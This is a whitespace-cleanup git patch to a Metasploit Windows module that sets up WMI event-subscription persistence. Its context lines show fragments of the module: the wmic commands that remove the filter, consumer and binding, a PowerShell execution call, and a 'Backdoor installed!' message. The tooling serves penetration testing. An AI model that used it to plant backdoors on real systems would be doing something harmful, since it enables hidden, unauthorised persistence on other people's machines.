From 09e4974b99083b1a759691da34f935baadc3e915 Mon Sep 17 00:00:00 2001 From: NickTyrer Date: Tue, 6 Jun 2017 14:44:37 +0100 Subject: [PATCH] removed whitespace at end of lines --- modules/exploits/windows/local/wmi_persistence.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/local/wmi_persistence.rb b/modules/exploits/windows/local/wmi_persistence.rb index 213ed553b8..b65700ce29 100644 --- a/modules/exploits/windows/local/wmi_persistence.rb +++ b/modules/exploits/windows/local/wmi_persistence.rb @@ -32,7 +32,7 @@ class MetasploitModule < Msf::Exploit::Local 'Platform' => 'win', 'SessionTypes' => ['meterpreter'], 'Targets' => [['Windows', {}]], - 'DisclosureDate' => 'June 06 2017', + 'DisclosureDate' => 'Jun 6 2017', 'DefaultTarget' => 0, 'DefaultOptions' => { @@ -117,7 +117,7 @@ $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class _ name_class = datastore['CLASSNAME'] clean_rc = log_file() clean_up_rc = "" - clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" + clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __EventFilter WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH CommandLineEventConsumer WHERE Name=\\\"#{name_class}\\\" DELETE\"\n" clean_up_rc << "execute -H -f wmic -a \"/NAMESPACE:\\\"\\\\\\\\root\\\\subscription\\\" PATH __FilterToConsumerBinding WHERE Filter='__EventFilter.Name=\\\"#{name_class}\\\"' DELETE\"" file_local_write(clean_rc, clean_up_rc) @@ -139,7 +139,7 @@ $FilterToConsumerBinding = Set-WmiInstance -Namespace root/subscription -Class _ end case datastore['PERSISTENCE_METHOD'] - when 'INTERVAL' + when 'INTERVAL' psh_exec(subscription_interval) print_good "Backdoor installed!" @cleanup